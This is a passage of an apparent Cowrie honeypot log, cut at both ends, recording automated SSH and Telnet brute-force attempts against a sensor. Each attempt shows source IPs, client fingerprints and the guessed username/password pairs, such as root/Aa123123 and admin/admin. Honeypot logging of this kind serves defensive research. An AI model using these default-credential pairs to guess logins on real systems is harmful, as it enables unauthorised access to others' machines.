sh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:14.116514Z","src_ip":"176.65.132.129","session":"c0ce286d2e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:14.369523Z","src_ip":"176.65.132.129","session":"c0ce286d2e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:15.455667Z","src_ip":"176.65.132.129","session":"c0ce286d2e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37392,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc45ad404eb3","protocol":"telnet","message":"New connection: 45.58.127.90:37392 (10.17.0.5:23) [session: dc45ad404eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:15.946451Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49740,"dst_ip":"159.203.135.109","dst_port":22,"session":"8edb13074d74","protocol":"ssh","message":"New connection: 176.65.132.129:49740 (159.203.135.109:22) [session: 8edb13074d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:17.572070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:17.577339Z","src_ip":"176.65.132.129","session":"8edb13074d74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:17.665344Z","src_ip":"176.65.132.129","session":"8edb13074d74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37396,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa07eb3f46aa","protocol":"telnet","message":"New connection: 45.58.127.90:37396 (10.17.0.5:23) [session: fa07eb3f46aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:17.725479Z"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:17.911687Z","src_ip":"176.65.132.129","session":"8edb13074d74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59168,"dst_ip":"10.17.0.5","dst_port":23,"session":"72558b79a330","protocol":"telnet","message":"New connection: 45.58.127.90:59168 (10.17.0.5:23) [session: 72558b79a330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:18.487986Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59466,"dst_ip":"159.203.135.109","dst_port":22,"session":"710a64aebfda","protocol":"ssh","message":"New connection: 172.237.20.62:59466 (159.203.135.109:22) [session: 710a64aebfda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:18.642271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:18.647200Z","src_ip":"172.237.20.62","session":"710a64aebfda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:18.806345Z","src_ip":"172.237.20.62","session":"710a64aebfda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:18.997097Z","src_ip":"176.65.132.129","session":"8edb13074d74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:19.328091Z","src_ip":"172.237.20.62","session":"710a64aebfda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:20.490505Z","src_ip":"172.237.20.62","session":"710a64aebfda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49752,"dst_ip":"159.203.135.109","dst_port":22,"session":"063482e9072f","protocol":"ssh","message":"New connection: 176.65.132.129:49752 (159.203.135.109:22) [session: 063482e9072f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:20.941123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:20.945377Z","src_ip":"176.65.132.129","session":"063482e9072f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:21.026770Z","src_ip":"176.65.132.129","session":"063482e9072f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:21.272847Z","src_ip":"176.65.132.129","session":"063482e9072f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:22.357845Z","src_ip":"176.65.132.129","session":"063482e9072f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49758,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed51fc5129ca","protocol":"ssh","message":"New connection: 176.65.132.129:49758 (159.203.135.109:22) [session: ed51fc5129ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:24.458758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:24.478417Z","src_ip":"176.65.132.129","session":"ed51fc5129ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:24.542768Z","src_ip":"176.65.132.129","session":"ed51fc5129ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:24.745970Z","src_ip":"104.236.83.40","session":"055f893ddf4e","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:24.794948Z","src_ip":"104.236.83.40","session":"055f893ddf4e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:24.883157Z","src_ip":"176.65.132.129","session":"ed51fc5129ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:25.968949Z","src_ip":"176.65.132.129","session":"ed51fc5129ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36894,"dst_ip":"159.203.135.109","dst_port":22,"session":"6556b9e9e1bd","protocol":"ssh","message":"New connection: 176.65.132.129:36894 (159.203.135.109:22) [session: 6556b9e9e1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:27.825847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:27.830576Z","src_ip":"176.65.132.129","session":"6556b9e9e1bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:27.912496Z","src_ip":"176.65.132.129","session":"6556b9e9e1bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:28.157201Z","src_ip":"176.65.132.129","session":"6556b9e9e1bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:29.400108Z","src_ip":"176.65.132.129","session":"6556b9e9e1bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":55564,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfe64caea450","protocol":"ssh","message":"New connection: 172.237.20.62:55564 (159.203.135.109:22) [session: dfe64caea450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:29.636901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:29.641756Z","src_ip":"172.237.20.62","session":"dfe64caea450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:29.829717Z","src_ip":"172.237.20.62","session":"dfe64caea450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:30.320647Z","src_ip":"172.237.20.62","session":"dfe64caea450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36904,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2361e4eb535","protocol":"ssh","message":"New connection: 176.65.132.129:36904 (159.203.135.109:22) [session: c2361e4eb535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:31.206390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:31.210661Z","src_ip":"176.65.132.129","session":"c2361e4eb535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:31.300107Z","src_ip":"176.65.132.129","session":"c2361e4eb535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:31.484259Z","src_ip":"172.237.20.62","session":"dfe64caea450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:31.547158Z","src_ip":"176.65.132.129","session":"c2361e4eb535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:32.632037Z","src_ip":"176.65.132.129","session":"c2361e4eb535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36910,"dst_ip":"159.203.135.109","dst_port":22,"session":"8346ab509ecb","protocol":"ssh","message":"New connection: 176.65.132.129:36910 (159.203.135.109:22) [session: 8346ab509ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:34.697172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:37:34.702116Z","src_ip":"176.65.132.129","session":"8346ab509ecb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2